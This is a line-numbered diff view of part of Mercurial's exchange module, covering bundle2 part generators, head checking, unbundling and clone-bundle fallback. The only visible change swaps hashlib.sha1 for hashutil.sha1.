2374 getbundle2partsorder = []
2376 getbundle2partsorder = []
2375
2377
2376 # Mapping between step name and function
2378 # Mapping between step name and function
2377 #
2379 #
2378 # This exists to help extensions wrap steps if necessary
2380 # This exists to help extensions wrap steps if necessary
2379 getbundle2partsmapping = {}
2381 getbundle2partsmapping = {}
2380
2382
2381
2383
2382 def getbundle2partsgenerator(stepname, idx=None):
2384 def getbundle2partsgenerator(stepname, idx=None):
2383 """decorator for function generating bundle2 part for getbundle
2385 """decorator for function generating bundle2 part for getbundle
2384
2386
2385 The function is added to the step -> function mapping and appended to the
2387 The function is added to the step -> function mapping and appended to the
2386 list of steps. Beware that decorated functions will be added in order
2388 list of steps. Beware that decorated functions will be added in order
2387 (this may matter).
2389 (this may matter).
2388
2390
2389 You can only use this decorator for new steps, if you want to wrap a step
2391 You can only use this decorator for new steps, if you want to wrap a step
2390 from an extension, attack the getbundle2partsmapping dictionary directly."""
2392 from an extension, attack the getbundle2partsmapping dictionary directly."""
2391
2393
2392 def dec(func):
2394 def dec(func):
2393 assert stepname not in getbundle2partsmapping
2395 assert stepname not in getbundle2partsmapping
2394 getbundle2partsmapping[stepname] = func
2396 getbundle2partsmapping[stepname] = func
2395 if idx is None:
2397 if idx is None:
2396 getbundle2partsorder.append(stepname)
2398 getbundle2partsorder.append(stepname)
2397 else:
2399 else:
2398 getbundle2partsorder.insert(idx, stepname)
2400 getbundle2partsorder.insert(idx, stepname)
2399 return func
2401 return func
2400
2402
2401 return dec
2403 return dec
2402
2404
2403
2405
2404 def bundle2requested(bundlecaps):
2406 def bundle2requested(bundlecaps):
2405 if bundlecaps is not None:
2407 if bundlecaps is not None:
2406 return any(cap.startswith(b'HG2') for cap in bundlecaps)
2408 return any(cap.startswith(b'HG2') for cap in bundlecaps)
2407 return False
2409 return False
2408
2410
2409
2411
2410 def getbundlechunks(
2412 def getbundlechunks(
2411 repo, source, heads=None, common=None, bundlecaps=None, **kwargs
2413 repo, source, heads=None, common=None, bundlecaps=None, **kwargs
2412 ):
2414 ):
2413 """Return chunks constituting a bundle's raw data.
2415 """Return chunks constituting a bundle's raw data.
2414
2416
2415 Could be a bundle HG10 or a bundle HG20 depending on bundlecaps
2417 Could be a bundle HG10 or a bundle HG20 depending on bundlecaps
2416 passed.
2418 passed.
2417
2419
2418 Returns a 2-tuple of a dict with metadata about the generated bundle
2420 Returns a 2-tuple of a dict with metadata about the generated bundle
2419 and an iterator over raw chunks (of varying sizes).
2421 and an iterator over raw chunks (of varying sizes).
2420 """
2422 """
2421 kwargs = pycompat.byteskwargs(kwargs)
2423 kwargs = pycompat.byteskwargs(kwargs)
2422 info = {}
2424 info = {}
2423 usebundle2 = bundle2requested(bundlecaps)
2425 usebundle2 = bundle2requested(bundlecaps)
2424 # bundle10 case
2426 # bundle10 case
2425 if not usebundle2:
2427 if not usebundle2:
2426 if bundlecaps and not kwargs.get(b'cg', True):
2428 if bundlecaps and not kwargs.get(b'cg', True):
2427 raise ValueError(
2429 raise ValueError(
2428 _(b'request for bundle10 must include changegroup')
2430 _(b'request for bundle10 must include changegroup')
2429 )
2431 )
2430
2432
2431 if kwargs:
2433 if kwargs:
2432 raise ValueError(
2434 raise ValueError(
2433 _(b'unsupported getbundle arguments: %s')
2435 _(b'unsupported getbundle arguments: %s')
2434 % b', '.join(sorted(kwargs.keys()))
2436 % b', '.join(sorted(kwargs.keys()))
2435 )
2437 )
2436 outgoing = _computeoutgoing(repo, heads, common)
2438 outgoing = _computeoutgoing(repo, heads, common)
2437 info[b'bundleversion'] = 1
2439 info[b'bundleversion'] = 1
2438 return (
2440 return (
2439 info,
2441 info,
2440 changegroup.makestream(
2442 changegroup.makestream(
2441 repo, outgoing, b'01', source, bundlecaps=bundlecaps
2443 repo, outgoing, b'01', source, bundlecaps=bundlecaps
2442 ),
2444 ),
2443 )
2445 )
2444
2446
2445 # bundle20 case
2447 # bundle20 case
2446 info[b'bundleversion'] = 2
2448 info[b'bundleversion'] = 2
2447 b2caps = {}
2449 b2caps = {}
2448 for bcaps in bundlecaps:
2450 for bcaps in bundlecaps:
2449 if bcaps.startswith(b'bundle2='):
2451 if bcaps.startswith(b'bundle2='):
2450 blob = urlreq.unquote(bcaps[len(b'bundle2=') :])
2452 blob = urlreq.unquote(bcaps[len(b'bundle2=') :])
2451 b2caps.update(bundle2.decodecaps(blob))
2453 b2caps.update(bundle2.decodecaps(blob))
2452 bundler = bundle2.bundle20(repo.ui, b2caps)
2454 bundler = bundle2.bundle20(repo.ui, b2caps)
2453
2455
2454 kwargs[b'heads'] = heads
2456 kwargs[b'heads'] = heads
2455 kwargs[b'common'] = common
2457 kwargs[b'common'] = common
2456
2458
2457 for name in getbundle2partsorder:
2459 for name in getbundle2partsorder:
2458 func = getbundle2partsmapping[name]
2460 func = getbundle2partsmapping[name]
2459 func(
2461 func(
2460 bundler,
2462 bundler,
2461 repo,
2463 repo,
2462 source,
2464 source,
2463 bundlecaps=bundlecaps,
2465 bundlecaps=bundlecaps,
2464 b2caps=b2caps,
2466 b2caps=b2caps,
2465 **pycompat.strkwargs(kwargs)
2467 **pycompat.strkwargs(kwargs)
2466 )
2468 )
2467
2469
2468 info[b'prefercompressed'] = bundler.prefercompressed
2470 info[b'prefercompressed'] = bundler.prefercompressed
2469
2471
2470 return info, bundler.getchunks()
2472 return info, bundler.getchunks()
2471
2473
2472
2474
2473 @getbundle2partsgenerator(b'stream2')
2475 @getbundle2partsgenerator(b'stream2')
2474 def _getbundlestream2(bundler, repo, *args, **kwargs):
2476 def _getbundlestream2(bundler, repo, *args, **kwargs):
2475 return bundle2.addpartbundlestream2(bundler, repo, **kwargs)
2477 return bundle2.addpartbundlestream2(bundler, repo, **kwargs)
2476
2478
2477
2479
2478 @getbundle2partsgenerator(b'changegroup')
2480 @getbundle2partsgenerator(b'changegroup')
2479 def _getbundlechangegrouppart(
2481 def _getbundlechangegrouppart(
2480 bundler,
2482 bundler,
2481 repo,
2483 repo,
2482 source,
2484 source,
2483 bundlecaps=None,
2485 bundlecaps=None,
2484 b2caps=None,
2486 b2caps=None,
2485 heads=None,
2487 heads=None,
2486 common=None,
2488 common=None,
2487 **kwargs
2489 **kwargs
2488 ):
2490 ):
2489 """add a changegroup part to the requested bundle"""
2491 """add a changegroup part to the requested bundle"""
2490 if not kwargs.get('cg', True) or not b2caps:
2492 if not kwargs.get('cg', True) or not b2caps:
2491 return
2493 return
2492
2494
2493 version = b'01'
2495 version = b'01'
2494 cgversions = b2caps.get(b'changegroup')
2496 cgversions = b2caps.get(b'changegroup')
2495 if cgversions: # 3.1 and 3.2 ship with an empty value
2497 if cgversions: # 3.1 and 3.2 ship with an empty value
2496 cgversions = [
2498 cgversions = [
2497 v
2499 v
2498 for v in cgversions
2500 for v in cgversions
2499 if v in changegroup.supportedoutgoingversions(repo)
2501 if v in changegroup.supportedoutgoingversions(repo)
2500 ]
2502 ]
2501 if not cgversions:
2503 if not cgversions:
2502 raise error.Abort(_(b'no common changegroup version'))
2504 raise error.Abort(_(b'no common changegroup version'))
2503 version = max(cgversions)
2505 version = max(cgversions)
2504
2506
2505 outgoing = _computeoutgoing(repo, heads, common)
2507 outgoing = _computeoutgoing(repo, heads, common)
2506 if not outgoing.missing:
2508 if not outgoing.missing:
2507 return
2509 return
2508
2510
2509 if kwargs.get('narrow', False):
2511 if kwargs.get('narrow', False):
2510 include = sorted(filter(bool, kwargs.get('includepats', [])))
2512 include = sorted(filter(bool, kwargs.get('includepats', [])))
2511 exclude = sorted(filter(bool, kwargs.get('excludepats', [])))
2513 exclude = sorted(filter(bool, kwargs.get('excludepats', [])))
2512 matcher = narrowspec.match(repo.root, include=include, exclude=exclude)
2514 matcher = narrowspec.match(repo.root, include=include, exclude=exclude)
2513 else:
2515 else:
2514 matcher = None
2516 matcher = None
2515
2517
2516 cgstream = changegroup.makestream(
2518 cgstream = changegroup.makestream(
2517 repo, outgoing, version, source, bundlecaps=bundlecaps, matcher=matcher
2519 repo, outgoing, version, source, bundlecaps=bundlecaps, matcher=matcher
2518 )
2520 )
2519
2521
2520 part = bundler.newpart(b'changegroup', data=cgstream)
2522 part = bundler.newpart(b'changegroup', data=cgstream)
2521 if cgversions:
2523 if cgversions:
2522 part.addparam(b'version', version)
2524 part.addparam(b'version', version)
2523
2525
2524 part.addparam(b'nbchanges', b'%d' % len(outgoing.missing), mandatory=False)
2526 part.addparam(b'nbchanges', b'%d' % len(outgoing.missing), mandatory=False)
2525
2527
2526 if b'treemanifest' in repo.requirements:
2528 if b'treemanifest' in repo.requirements:
2527 part.addparam(b'treemanifest', b'1')
2529 part.addparam(b'treemanifest', b'1')
2528
2530
2529 if b'exp-sidedata-flag' in repo.requirements:
2531 if b'exp-sidedata-flag' in repo.requirements:
2530 part.addparam(b'exp-sidedata', b'1')
2532 part.addparam(b'exp-sidedata', b'1')
2531
2533
2532 if (
2534 if (
2533 kwargs.get('narrow', False)
2535 kwargs.get('narrow', False)
2534 and kwargs.get('narrow_acl', False)
2536 and kwargs.get('narrow_acl', False)
2535 and (include or exclude)
2537 and (include or exclude)
2536 ):
2538 ):
2537 # this is mandatory because otherwise ACL clients won't work
2539 # this is mandatory because otherwise ACL clients won't work
2538 narrowspecpart = bundler.newpart(b'Narrow:responsespec')
2540 narrowspecpart = bundler.newpart(b'Narrow:responsespec')
2539 narrowspecpart.data = b'%s\0%s' % (
2541 narrowspecpart.data = b'%s\0%s' % (
2540 b'\n'.join(include),
2542 b'\n'.join(include),
2541 b'\n'.join(exclude),
2543 b'\n'.join(exclude),
2542 )
2544 )
2543
2545
2544
2546
2545 @getbundle2partsgenerator(b'bookmarks')
2547 @getbundle2partsgenerator(b'bookmarks')
2546 def _getbundlebookmarkpart(
2548 def _getbundlebookmarkpart(
2547 bundler, repo, source, bundlecaps=None, b2caps=None, **kwargs
2549 bundler, repo, source, bundlecaps=None, b2caps=None, **kwargs
2548 ):
2550 ):
2549 """add a bookmark part to the requested bundle"""
2551 """add a bookmark part to the requested bundle"""
2550 if not kwargs.get('bookmarks', False):
2552 if not kwargs.get('bookmarks', False):
2551 return
2553 return
2552 if not b2caps or b'bookmarks' not in b2caps:
2554 if not b2caps or b'bookmarks' not in b2caps:
2553 raise error.Abort(_(b'no common bookmarks exchange method'))
2555 raise error.Abort(_(b'no common bookmarks exchange method'))
2554 books = bookmod.listbinbookmarks(repo)
2556 books = bookmod.listbinbookmarks(repo)
2555 data = bookmod.binaryencode(books)
2557 data = bookmod.binaryencode(books)
2556 if data:
2558 if data:
2557 bundler.newpart(b'bookmarks', data=data)
2559 bundler.newpart(b'bookmarks', data=data)
2558
2560
2559
2561
2560 @getbundle2partsgenerator(b'listkeys')
2562 @getbundle2partsgenerator(b'listkeys')
2561 def _getbundlelistkeysparts(
2563 def _getbundlelistkeysparts(
2562 bundler, repo, source, bundlecaps=None, b2caps=None, **kwargs
2564 bundler, repo, source, bundlecaps=None, b2caps=None, **kwargs
2563 ):
2565 ):
2564 """add parts containing listkeys namespaces to the requested bundle"""
2566 """add parts containing listkeys namespaces to the requested bundle"""
2565 listkeys = kwargs.get('listkeys', ())
2567 listkeys = kwargs.get('listkeys', ())
2566 for namespace in listkeys:
2568 for namespace in listkeys:
2567 part = bundler.newpart(b'listkeys')
2569 part = bundler.newpart(b'listkeys')
2568 part.addparam(b'namespace', namespace)
2570 part.addparam(b'namespace', namespace)
2569 keys = repo.listkeys(namespace).items()
2571 keys = repo.listkeys(namespace).items()
2570 part.data = pushkey.encodekeys(keys)
2572 part.data = pushkey.encodekeys(keys)
2571
2573
2572
2574
2573 @getbundle2partsgenerator(b'obsmarkers')
2575 @getbundle2partsgenerator(b'obsmarkers')
2574 def _getbundleobsmarkerpart(
2576 def _getbundleobsmarkerpart(
2575 bundler, repo, source, bundlecaps=None, b2caps=None, heads=None, **kwargs
2577 bundler, repo, source, bundlecaps=None, b2caps=None, heads=None, **kwargs
2576 ):
2578 ):
2577 """add an obsolescence markers part to the requested bundle"""
2579 """add an obsolescence markers part to the requested bundle"""
2578 if kwargs.get('obsmarkers', False):
2580 if kwargs.get('obsmarkers', False):
2579 if heads is None:
2581 if heads is None:
2580 heads = repo.heads()
2582 heads = repo.heads()
2581 subset = [c.node() for c in repo.set(b'::%ln', heads)]
2583 subset = [c.node() for c in repo.set(b'::%ln', heads)]
2582 markers = repo.obsstore.relevantmarkers(subset)
2584 markers = repo.obsstore.relevantmarkers(subset)
2583 markers = obsutil.sortedmarkers(markers)
2585 markers = obsutil.sortedmarkers(markers)
2584 bundle2.buildobsmarkerspart(bundler, markers)
2586 bundle2.buildobsmarkerspart(bundler, markers)
2585
2587
2586
2588
2587 @getbundle2partsgenerator(b'phases')
2589 @getbundle2partsgenerator(b'phases')
2588 def _getbundlephasespart(
2590 def _getbundlephasespart(
2589 bundler, repo, source, bundlecaps=None, b2caps=None, heads=None, **kwargs
2591 bundler, repo, source, bundlecaps=None, b2caps=None, heads=None, **kwargs
2590 ):
2592 ):
2591 """add phase heads part to the requested bundle"""
2593 """add phase heads part to the requested bundle"""
2592 if kwargs.get('phases', False):
2594 if kwargs.get('phases', False):
2593 if not b2caps or b'heads' not in b2caps.get(b'phases'):
2595 if not b2caps or b'heads' not in b2caps.get(b'phases'):
2594 raise error.Abort(_(b'no common phases exchange method'))
2596 raise error.Abort(_(b'no common phases exchange method'))
2595 if heads is None:
2597 if heads is None:
2596 heads = repo.heads()
2598 heads = repo.heads()
2597
2599
2598 headsbyphase = collections.defaultdict(set)
2600 headsbyphase = collections.defaultdict(set)
2599 if repo.publishing():
2601 if repo.publishing():
2600 headsbyphase[phases.public] = heads
2602 headsbyphase[phases.public] = heads
2601 else:
2603 else:
2602 # find the appropriate heads to move
2604 # find the appropriate heads to move
2603
2605
2604 phase = repo._phasecache.phase
2606 phase = repo._phasecache.phase
2605 node = repo.changelog.node
2607 node = repo.changelog.node
2606 rev = repo.changelog.rev
2608 rev = repo.changelog.rev
2607 for h in heads:
2609 for h in heads:
2608 headsbyphase[phase(repo, rev(h))].add(h)
2610 headsbyphase[phase(repo, rev(h))].add(h)
2609 seenphases = list(headsbyphase.keys())
2611 seenphases = list(headsbyphase.keys())
2610
2612
2611 # We do not handle anything but public and draft phase for now)
2613 # We do not handle anything but public and draft phase for now)
2612 if seenphases:
2614 if seenphases:
2613 assert max(seenphases) <= phases.draft
2615 assert max(seenphases) <= phases.draft
2614
2616
2615 # if client is pulling non-public changesets, we need to find
2617 # if client is pulling non-public changesets, we need to find
2616 # intermediate public heads.
2618 # intermediate public heads.
2617 draftheads = headsbyphase.get(phases.draft, set())
2619 draftheads = headsbyphase.get(phases.draft, set())
2618 if draftheads:
2620 if draftheads:
2619 publicheads = headsbyphase.get(phases.public, set())
2621 publicheads = headsbyphase.get(phases.public, set())
2620
2622
2621 revset = b'heads(only(%ln, %ln) and public())'
2623 revset = b'heads(only(%ln, %ln) and public())'
2622 extraheads = repo.revs(revset, draftheads, publicheads)
2624 extraheads = repo.revs(revset, draftheads, publicheads)
2623 for r in extraheads:
2625 for r in extraheads:
2624 headsbyphase[phases.public].add(node(r))
2626 headsbyphase[phases.public].add(node(r))
2625
2627
2626 # transform data in a format used by the encoding function
2628 # transform data in a format used by the encoding function
2627 phasemapping = []
2629 phasemapping = []
2628 for phase in phases.allphases:
2630 for phase in phases.allphases:
2629 phasemapping.append(sorted(headsbyphase[phase]))
2631 phasemapping.append(sorted(headsbyphase[phase]))
2630
2632
2631 # generate the actual part
2633 # generate the actual part
2632 phasedata = phases.binaryencode(phasemapping)
2634 phasedata = phases.binaryencode(phasemapping)
2633 bundler.newpart(b'phase-heads', data=phasedata)
2635 bundler.newpart(b'phase-heads', data=phasedata)
2634
2636
2635
2637
2636 @getbundle2partsgenerator(b'hgtagsfnodes')
2638 @getbundle2partsgenerator(b'hgtagsfnodes')
2637 def _getbundletagsfnodes(
2639 def _getbundletagsfnodes(
2638 bundler,
2640 bundler,
2639 repo,
2641 repo,
2640 source,
2642 source,
2641 bundlecaps=None,
2643 bundlecaps=None,
2642 b2caps=None,
2644 b2caps=None,
2643 heads=None,
2645 heads=None,
2644 common=None,
2646 common=None,
2645 **kwargs
2647 **kwargs
2646 ):
2648 ):
2647 """Transfer the .hgtags filenodes mapping.
2649 """Transfer the .hgtags filenodes mapping.
2648
2650
2649 Only values for heads in this bundle will be transferred.
2651 Only values for heads in this bundle will be transferred.
2650
2652
2651 The part data consists of pairs of 20 byte changeset node and .hgtags
2653 The part data consists of pairs of 20 byte changeset node and .hgtags
2652 filenodes raw values.
2654 filenodes raw values.
2653 """
2655 """
2654 # Don't send unless:
2656 # Don't send unless:
2655 # - changeset are being exchanged,
2657 # - changeset are being exchanged,
2656 # - the client supports it.
2658 # - the client supports it.
2657 if not b2caps or not (kwargs.get('cg', True) and b'hgtagsfnodes' in b2caps):
2659 if not b2caps or not (kwargs.get('cg', True) and b'hgtagsfnodes' in b2caps):
2658 return
2660 return
2659
2661
2660 outgoing = _computeoutgoing(repo, heads, common)
2662 outgoing = _computeoutgoing(repo, heads, common)
2661 bundle2.addparttagsfnodescache(repo, bundler, outgoing)
2663 bundle2.addparttagsfnodescache(repo, bundler, outgoing)
2662
2664
2663
2665
2664 @getbundle2partsgenerator(b'cache:rev-branch-cache')
2666 @getbundle2partsgenerator(b'cache:rev-branch-cache')
2665 def _getbundlerevbranchcache(
2667 def _getbundlerevbranchcache(
2666 bundler,
2668 bundler,
2667 repo,
2669 repo,
2668 source,
2670 source,
2669 bundlecaps=None,
2671 bundlecaps=None,
2670 b2caps=None,
2672 b2caps=None,
2671 heads=None,
2673 heads=None,
2672 common=None,
2674 common=None,
2673 **kwargs
2675 **kwargs
2674 ):
2676 ):
2675 """Transfer the rev-branch-cache mapping
2677 """Transfer the rev-branch-cache mapping
2676
2678
2677 The payload is a series of data related to each branch
2679 The payload is a series of data related to each branch
2678
2680
2679 1) branch name length
2681 1) branch name length
2680 2) number of open heads
2682 2) number of open heads
2681 3) number of closed heads
2683 3) number of closed heads
2682 4) open heads nodes
2684 4) open heads nodes
2683 5) closed heads nodes
2685 5) closed heads nodes
2684 """
2686 """
2685 # Don't send unless:
2687 # Don't send unless:
2686 # - changeset are being exchanged,
2688 # - changeset are being exchanged,
2687 # - the client supports it.
2689 # - the client supports it.
2688 # - narrow bundle isn't in play (not currently compatible).
2690 # - narrow bundle isn't in play (not currently compatible).
2689 if (
2691 if (
2690 not kwargs.get('cg', True)
2692 not kwargs.get('cg', True)
2691 or not b2caps
2693 or not b2caps
2692 or b'rev-branch-cache' not in b2caps
2694 or b'rev-branch-cache' not in b2caps
2693 or kwargs.get('narrow', False)
2695 or kwargs.get('narrow', False)
2694 or repo.ui.has_section(_NARROWACL_SECTION)
2696 or repo.ui.has_section(_NARROWACL_SECTION)
2695 ):
2697 ):
2696 return
2698 return
2697
2699
2698 outgoing = _computeoutgoing(repo, heads, common)
2700 outgoing = _computeoutgoing(repo, heads, common)
2699 bundle2.addpartrevbranchcache(repo, bundler, outgoing)
2701 bundle2.addpartrevbranchcache(repo, bundler, outgoing)
2700
2702
2701
2703
2702 def check_heads(repo, their_heads, context):
2704 def check_heads(repo, their_heads, context):
2703 """check if the heads of a repo have been modified
2705 """check if the heads of a repo have been modified
2704
2706
2705 Used by peer for unbundling.
2707 Used by peer for unbundling.
2706 """
2708 """
2707 heads = repo.heads()
2709 heads = repo.heads()
2708 heads_hash = hashlib.sha1(b''.join(sorted(heads))).digest()
2710 heads_hash = hashutil.sha1(b''.join(sorted(heads))).digest()
2709 if not (
2711 if not (
2710 their_heads == [b'force']
2712 their_heads == [b'force']
2711 or their_heads == heads
2713 or their_heads == heads
2712 or their_heads == [b'hashed', heads_hash]
2714 or their_heads == [b'hashed', heads_hash]
2713 ):
2715 ):
2714 # someone else committed/pushed/unbundled while we
2716 # someone else committed/pushed/unbundled while we
2715 # were transferring data
2717 # were transferring data
2716 raise error.PushRaced(
2718 raise error.PushRaced(
2717 b'repository changed while %s - please try again' % context
2719 b'repository changed while %s - please try again' % context
2718 )
2720 )
2719
2721
2720
2722
2721 def unbundle(repo, cg, heads, source, url):
2723 def unbundle(repo, cg, heads, source, url):
2722 """Apply a bundle to a repo.
2724 """Apply a bundle to a repo.
2723
2725
2724 this function makes sure the repo is locked during the application and have
2726 this function makes sure the repo is locked during the application and have
2725 mechanism to check that no push race occurred between the creation of the
2727 mechanism to check that no push race occurred between the creation of the
2726 bundle and its application.
2728 bundle and its application.
2727
2729
2728 If the push was raced as PushRaced exception is raised."""
2730 If the push was raced as PushRaced exception is raised."""
2729 r = 0
2731 r = 0
2730 # need a transaction when processing a bundle2 stream
2732 # need a transaction when processing a bundle2 stream
2731 # [wlock, lock, tr] - needs to be an array so nested functions can modify it
2733 # [wlock, lock, tr] - needs to be an array so nested functions can modify it
2732 lockandtr = [None, None, None]
2734 lockandtr = [None, None, None]
2733 recordout = None
2735 recordout = None
2734 # quick fix for output mismatch with bundle2 in 3.4
2736 # quick fix for output mismatch with bundle2 in 3.4
2735 captureoutput = repo.ui.configbool(
2737 captureoutput = repo.ui.configbool(
2736 b'experimental', b'bundle2-output-capture'
2738 b'experimental', b'bundle2-output-capture'
2737 )
2739 )
2738 if url.startswith(b'remote:http:') or url.startswith(b'remote:https:'):
2740 if url.startswith(b'remote:http:') or url.startswith(b'remote:https:'):
2739 captureoutput = True
2741 captureoutput = True
2740 try:
2742 try:
2741 # note: outside bundle1, 'heads' is expected to be empty and this
2743 # note: outside bundle1, 'heads' is expected to be empty and this
2742 # 'check_heads' call wil be a no-op
2744 # 'check_heads' call wil be a no-op
2743 check_heads(repo, heads, b'uploading changes')
2745 check_heads(repo, heads, b'uploading changes')
2744 # push can proceed
2746 # push can proceed
2745 if not isinstance(cg, bundle2.unbundle20):
2747 if not isinstance(cg, bundle2.unbundle20):
2746 # legacy case: bundle1 (changegroup 01)
2748 # legacy case: bundle1 (changegroup 01)
2747 txnname = b"\n".join([source, util.hidepassword(url)])
2749 txnname = b"\n".join([source, util.hidepassword(url)])
2748 with repo.lock(), repo.transaction(txnname) as tr:
2750 with repo.lock(), repo.transaction(txnname) as tr:
2749 op = bundle2.applybundle(repo, cg, tr, source, url)
2751 op = bundle2.applybundle(repo, cg, tr, source, url)
2750 r = bundle2.combinechangegroupresults(op)
2752 r = bundle2.combinechangegroupresults(op)
2751 else:
2753 else:
2752 r = None
2754 r = None
2753 try:
2755 try:
2754
2756
2755 def gettransaction():
2757 def gettransaction():
2756 if not lockandtr[2]:
2758 if not lockandtr[2]:
2757 if not bookmod.bookmarksinstore(repo):
2759 if not bookmod.bookmarksinstore(repo):
2758 lockandtr[0] = repo.wlock()
2760 lockandtr[0] = repo.wlock()
2759 lockandtr[1] = repo.lock()
2761 lockandtr[1] = repo.lock()
2760 lockandtr[2] = repo.transaction(source)
2762 lockandtr[2] = repo.transaction(source)
2761 lockandtr[2].hookargs[b'source'] = source
2763 lockandtr[2].hookargs[b'source'] = source
2762 lockandtr[2].hookargs[b'url'] = url
2764 lockandtr[2].hookargs[b'url'] = url
2763 lockandtr[2].hookargs[b'bundle2'] = b'1'
2765 lockandtr[2].hookargs[b'bundle2'] = b'1'
2764 return lockandtr[2]
2766 return lockandtr[2]
2765
2767
2766 # Do greedy locking by default until we're satisfied with lazy
2768 # Do greedy locking by default until we're satisfied with lazy
2767 # locking.
2769 # locking.
2768 if not repo.ui.configbool(
2770 if not repo.ui.configbool(
2769 b'experimental', b'bundle2lazylocking'
2771 b'experimental', b'bundle2lazylocking'
2770 ):
2772 ):
2771 gettransaction()
2773 gettransaction()
2772
2774
2773 op = bundle2.bundleoperation(
2775 op = bundle2.bundleoperation(
2774 repo,
2776 repo,
2775 gettransaction,
2777 gettransaction,
2776 captureoutput=captureoutput,
2778 captureoutput=captureoutput,
2777 source=b'push',
2779 source=b'push',
2778 )
2780 )
2779 try:
2781 try:
2780 op = bundle2.processbundle(repo, cg, op=op)
2782 op = bundle2.processbundle(repo, cg, op=op)
2781 finally:
2783 finally:
2782 r = op.reply
2784 r = op.reply
2783 if captureoutput and r is not None:
2785 if captureoutput and r is not None:
2784 repo.ui.pushbuffer(error=True, subproc=True)
2786 repo.ui.pushbuffer(error=True, subproc=True)
2785
2787
2786 def recordout(output):
2788 def recordout(output):
2787 r.newpart(b'output', data=output, mandatory=False)
2789 r.newpart(b'output', data=output, mandatory=False)
2788
2790
2789 if lockandtr[2] is not None:
2791 if lockandtr[2] is not None:
2790 lockandtr[2].close()
2792 lockandtr[2].close()
2791 except BaseException as exc:
2793 except BaseException as exc:
2792 exc.duringunbundle2 = True
2794 exc.duringunbundle2 = True
2793 if captureoutput and r is not None:
2795 if captureoutput and r is not None:
2794 parts = exc._bundle2salvagedoutput = r.salvageoutput()
2796 parts = exc._bundle2salvagedoutput = r.salvageoutput()
2795
2797
2796 def recordout(output):
2798 def recordout(output):
2797 part = bundle2.bundlepart(
2799 part = bundle2.bundlepart(
2798 b'output', data=output, mandatory=False
2800 b'output', data=output, mandatory=False
2799 )
2801 )
2800 parts.append(part)
2802 parts.append(part)
2801
2803
2802 raise
2804 raise
2803 finally:
2805 finally:
2804 lockmod.release(lockandtr[2], lockandtr[1], lockandtr[0])
2806 lockmod.release(lockandtr[2], lockandtr[1], lockandtr[0])
2805 if recordout is not None:
2807 if recordout is not None:
2806 recordout(repo.ui.popbuffer())
2808 recordout(repo.ui.popbuffer())
2807 return r
2809 return r
2808
2810
2809
2811
2810 def _maybeapplyclonebundle(pullop):
2812 def _maybeapplyclonebundle(pullop):
2811 """Apply a clone bundle from a remote, if possible."""
2813 """Apply a clone bundle from a remote, if possible."""
2812
2814
2813 repo = pullop.repo
2815 repo = pullop.repo
2814 remote = pullop.remote
2816 remote = pullop.remote
2815
2817
2816 if not repo.ui.configbool(b'ui', b'clonebundles'):
2818 if not repo.ui.configbool(b'ui', b'clonebundles'):
2817 return
2819 return
2818
2820
2819 # Only run if local repo is empty.
2821 # Only run if local repo is empty.
2820 if len(repo):
2822 if len(repo):
2821 return
2823 return
2822
2824
2823 if pullop.heads:
2825 if pullop.heads:
2824 return
2826 return
2825
2827
2826 if not remote.capable(b'clonebundles'):
2828 if not remote.capable(b'clonebundles'):
2827 return
2829 return
2828
2830
2829 with remote.commandexecutor() as e:
2831 with remote.commandexecutor() as e:
2830 res = e.callcommand(b'clonebundles', {}).result()
2832 res = e.callcommand(b'clonebundles', {}).result()
2831
2833
2832 # If we call the wire protocol command, that's good enough to record the
2834 # If we call the wire protocol command, that's good enough to record the
2833 # attempt.
2835 # attempt.
2834 pullop.clonebundleattempted = True
2836 pullop.clonebundleattempted = True
2835
2837
2836 entries = parseclonebundlesmanifest(repo, res)
2838 entries = parseclonebundlesmanifest(repo, res)
2837 if not entries:
2839 if not entries:
2838 repo.ui.note(
2840 repo.ui.note(
2839 _(
2841 _(
2840 b'no clone bundles available on remote; '
2842 b'no clone bundles available on remote; '
2841 b'falling back to regular clone\n'
2843 b'falling back to regular clone\n'
2842 )
2844 )
2843 )
2845 )
2844 return
2846 return
2845
2847
2846 entries = filterclonebundleentries(
2848 entries = filterclonebundleentries(
2847 repo, entries, streamclonerequested=pullop.streamclonerequested
2849 repo, entries, streamclonerequested=pullop.streamclonerequested
2848 )
2850 )
2849
2851
2850 if not entries:
2852 if not entries:
2851 # There is a thundering herd concern here. However, if a server
2853 # There is a thundering herd concern here. However, if a server
2852 # operator doesn't advertise bundles appropriate for its clients,
2854 # operator doesn't advertise bundles appropriate for its clients,
2853 # they deserve what's coming. Furthermore, from a client's
2855 # they deserve what's coming. Furthermore, from a client's
2854 # perspective, no automatic fallback would mean not being able to
2856 # perspective, no automatic fallback would mean not being able to
2855 # clone!
2857 # clone!
2856 repo.ui.warn(
2858 repo.ui.warn(
2857 _(
2859 _(
2858 b'no compatible clone bundles available on server; '
2860 b'no compatible clone bundles available on server; '
2859 b'falling back to regular clone\n'
2861 b'falling back to regular clone\n'
2860 )
2862 )
2861 )
2863 )
2862 repo.ui.warn(
2864 repo.ui.warn(
2863 _(b'(you may want to report this to the server operator)\n')
2865 _(b'(you may want to report this to the server operator)\n')
2864 )
2866 )
2865 return
2867 return
2866
2868
2867 entries = sortclonebundleentries(repo.ui, entries)
2869 entries = sortclonebundleentries(repo.ui, entries)
2868
2870
2869 url = entries[0][b'URL']
2871 url = entries[0][b'URL']
2870 repo.ui.status(_(b'applying clone bundle from %s\n') % url)
2872 repo.ui.status(_(b'applying clone bundle from %s\n') % url)
2871 if trypullbundlefromurl(repo.ui, repo, url):
2873 if trypullbundlefromurl(repo.ui, repo, url):
2872 repo.ui.status(_(b'finished applying clone bundle\n'))
2874 repo.ui.status(_(b'finished applying clone bundle\n'))
2873 # Bundle failed.
2875 # Bundle failed.
2874 #
2876 #
2875 # We abort by default to avoid the thundering herd of
2877 # We abort by default to avoid the thundering herd of
2876 # clients flooding a server that was expecting expensive
2878 # clients flooding a server that was expecting expensive
2877 # clone load to be offloaded.
2879 # clone load to be offloaded.
2878 elif repo.ui.configbool(b'ui', b'clonebundlefallback'):
2880 elif repo.ui.configbool(b'ui', b'clonebundlefallback'):
2879 repo.ui.warn(_(b'falling back to normal clone\n'))
2881 repo.ui.warn(_(b'falling back to normal clone\n'))
2880 else:
2882 else:
2881 raise error.Abort(
2883 raise error.Abort(
2882 _(b'error applying bundle'),
2884 _(b'error applying bundle'),
2883 hint=_(
2885 hint=_(
2884 b'if this error persists, consider contacting '
2886 b'if this error persists, consider contacting '
2885 b'the server operator or disable clone '
2887 b'the server operator or disable clone '
2886 b'bundles via '
2888 b'bundles via '
2887 b'"--config ui.clonebundles=false"'
2889 b'"--config ui.clonebundles=false"'
2888 ),
2890 ),
2889 )
2891 )
2890
2892
